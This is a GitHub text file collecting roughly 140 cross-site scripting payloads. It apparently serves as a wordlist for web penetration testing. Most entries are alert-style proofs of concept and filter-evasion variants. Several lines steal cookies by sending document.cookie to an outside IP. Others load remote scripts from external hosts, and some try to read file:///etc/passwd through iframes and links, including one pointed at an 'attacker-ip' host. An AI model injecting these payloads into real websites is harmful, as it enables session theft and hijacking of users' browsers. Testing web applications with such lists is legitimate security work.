-
Notifications
You must be signed in to change notification settings - Fork 93
/
Cross-Site-Scripting-XSS-Payloads.txt
141 lines (141 loc) · 5.93 KB
/
Cross-Site-Scripting-XSS-Payloads.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
<script>alert(1)</script>
<Script>alert(1)</Script>
<sCript>alert(document.domain)</sCript>
<script>alert(123);</script>
<script>alert("test");</script>
<script>alert(document.cookie)</script>
</script><script>alert(document.cookie)</script>
javascript:alert(document.cookie)
javascript:prompt(document.cookie)
'-alert(document.cookie)-'
</script><svg onload=alert(document.cookie)>
"onmouseover=alert(document.cookie)//
{{$on.constructor('alert(1)')()}}
<Script>alert(document.cookie)</Script>
<sCript>alert(document.domain)</sCript>
<script>alert(document.cookie);</script>
<script>alert(document.cookie);</script>
<script>alert(document.domain)</script>
<script>alert(document.cookie)</script>
<script>new Image().src="http://192.168.1.6/?c="+document.cookie;</script>
<script>var i=new Image; i.src="http://192.168.1.6/?"+document.cookie;</script>
</script><script>alert(1)</script>
<img src="abc" onerror="alert(1)">
<img src="" onerror="alert(document.cookie)">
<img src='x' onerror='alert(document.cookie)' />
<img src=0 onerror=alert('1')>
<img src=0 onerror=alert(document.cookie)>
<svg/onload=alert(1)>
"><svg onload=alert(1)>
';alert('1');'
';alert('abc');'
<sc<script>ript>alert(1)</sc</script>ript>
<BODY ONLOAD=alert('1')>
<marquee onstart=alert(1)></marquee>
<audio src/onerror=alert(1)>
<audio src/onerror=prompt(123)>
<audio src/onerror=confirm(123)>
<script src="http://192.168.1.6/test.js" ></script>
<body onload=alert(123) >
<body onload=confirm(123) >
<body onload=prompt(123) >
--><svg/onload=alert(document.domain)>
--><body onload=alert(123) >
--><script>alert(1)</script>
--><img src=x onerror=alert('test')>
--><img src=x onerror=alert(document.domain)>
--><img src=x onerror=alert(document.cookie)>
--><img src=x onerror=prompt(document.domain)>
--><img src=x onerror=confirm(document.domain)>
<iframe src='https://testforiframe.site/'>
"><iframe src='https://testforiframe.site/'>
"><script src="https://testforiframe.site/"></script>
"><script>alert(document.domain)</script>
"><script>alert(document.domain + '\n' + "1")</script>
"><script>alert(document.domain + '\n' + "Name")</script>
"<img src='x' onerror='alert(10)' />"
https://brutelogic.com.br/poc.svg
http://xss.rocks/scriptlet.html
javascript:alert(document.cookie)
poc.svg = <svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>
"><script>alert(1)</script>
'or<script>alert(1)</script>
'or<img src=0 onerror=alert('1')>
<script <script>>alert('test')</script>
<audio src/onerror=alert('test')>
<iframe src=javascript:alert('test')>
<iframe src="javascript:alert(test)">
<img src=x onerror=alert(test)>
';alert(test); //
<body onmouseover="print()">
<body onclick=print()>
<body onmessage=print()>
<iframe onload=print()></iframe>
<SCRIPT SRC=http://xss.rocks/xss.js></SCRIPT>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=JaVaScRiPt:alert('XSS')>
<IMG SRC=javascript:alert("XSS")>
<IMG """><SCRIPT>alert(document.cookie)</SCRIPT>"\>
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>
<img src=x onerror="javascript:al&0000101rt('XSS')">
<<SCRIPT>alert(document.cookie);//\<</SCRIPT>>
<iframe src=http://xss.rocks/scriptlet.html <
</script><script>alert(document.cookie);</script>
</TITLE><SCRIPT>alert(document.cookie);</SCRIPT>
<BODY ONLOAD=alert(document.cookie)>
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>
<OBJECT TYPE="text/x-scriptlet" DATA="http://xss.rocks/scriptlet.html"></OBJECT>
<script>'-alert(1)-'</script>
'-alert(1)-'
></select><img%20src=1%20onerror=alert(1)>
{{$on.constructor('alert(1)')()}}
\"-alert(1)}//
<img src=1 onerror=print()>
"-top['al\x65rt']('sailay')-"
<pre id=p style=background:#000><svg onload='setInterval(n=>{for(o=t++,i=476;i--;o+=i%30?("0o"[c=0|(h=v=>(M=Math).hypot(i/30-8+3*M.sin(t/8/v),i%30/2-7+4*M.cos(t/9/v)))(7)*h(9)*h(6)/32]||".").fontcolor(c>2):"\n");p.innerHTML=o},t=1)'>
<img src="" onerror="innerHTML=decodeURIComponent.call`${location.hash}`" "="">
<img src="" onerror="location=/javascript:/.source+location" "="">
<img src="" onerror="window.onerror=alert;throw 1337" "="">
<img src="" onerror="alert&1par;1337)" "="">
<img src="" onerror="alert`1337`" "="">
javascript:alert(document.cookie)
"><img src=x onerror=alert(document.domain)>
"><script>alert(1)</script>
"><script>alert(document.domain)</script>
"><script>alert(document.cookie)</script>
"><script>prompt(1)</script>
"><script>prompt(document.domain)</script>
"><script>prompt(document.cookie)</script>
"><svg><script>alert(1)</script>
?s="onerror="innerHTML=decodeURIComponet.call`${location.hash}`"#<img src onerror=alert(1337)>
?s="onerror="location=/javascript:/.source%2Blocation"&a=%0A+alert(1337)
?s="onerror="window.onerror=alert;throw 1337"
?s="onerror="alert%261par;1337%26rpar;"
?s="onerror="alert`1337`"
<img src="xxx" onerror="document.write('\<iframe src=file:///etc/passwd>\</iframe>')"/>
<link rel=attachment href="file:///etc/passwd">
<iframe src="http://attacker-ip/test.php?file=/etc/passwd">\</iframe>
<IMG sRC=X onerror=jaVaScRipT:alert`xss`>
%22%3E%3CIMG%20sRC=X%20onerror=jaVaScRipT:alert`xss`%3E
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.cookie)"/>
<svg><style> <script>alert(1)</script> </style></svg>
<math><style> <img src onerror=alert(2)> </style></math>
<script>window.location.assign('https://secure.eicar.org/eicar_com.zip')</script>
<body style="background-color:red">
<body style="background-color:red !important;">
<body onload=window.location.assign('https://www.google.com')>
alert(123)
alert("test")
alert(document.cookie)
alert(document.domain)
confirm(123)
confirm("test")
confirm(document.cookie)
confirm(document.domain)
prompt(123)
prompt("test")
prompt(document.cookie)
prompt(document.domain)